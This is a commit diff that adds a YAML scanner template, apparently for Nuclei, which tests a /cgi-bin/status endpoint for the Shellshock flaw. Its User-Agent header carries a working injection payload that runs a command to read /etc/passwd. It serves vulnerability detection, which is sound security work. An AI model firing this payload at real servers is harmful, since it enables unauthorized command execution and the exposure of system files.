Merge pull request #127 from xElkomy/patch-1

Create rce-shellshock-user-agent.yaml

vulnerabilities/rce-shellshock-user-agent.yaml

@@ -0,0 +1,19 @@
+id: rce-user-agent-shell-shock
+
+info:
+ name: Remote Code Execution Via (User-Agent)
+ author: 0xelkomy
+ severity: high
+
+requests:
+ - method: GET
+   headers:
+    User-Agent: "{ :;}; echo $(</etc/passwd)"
+   path:
+    - "{{BaseURL}}/cgi-bin/status"
+   matchers:
+    - type: word
+      words:
+       - "/bin/sh"
+       - "/bin/bash"
+      part: body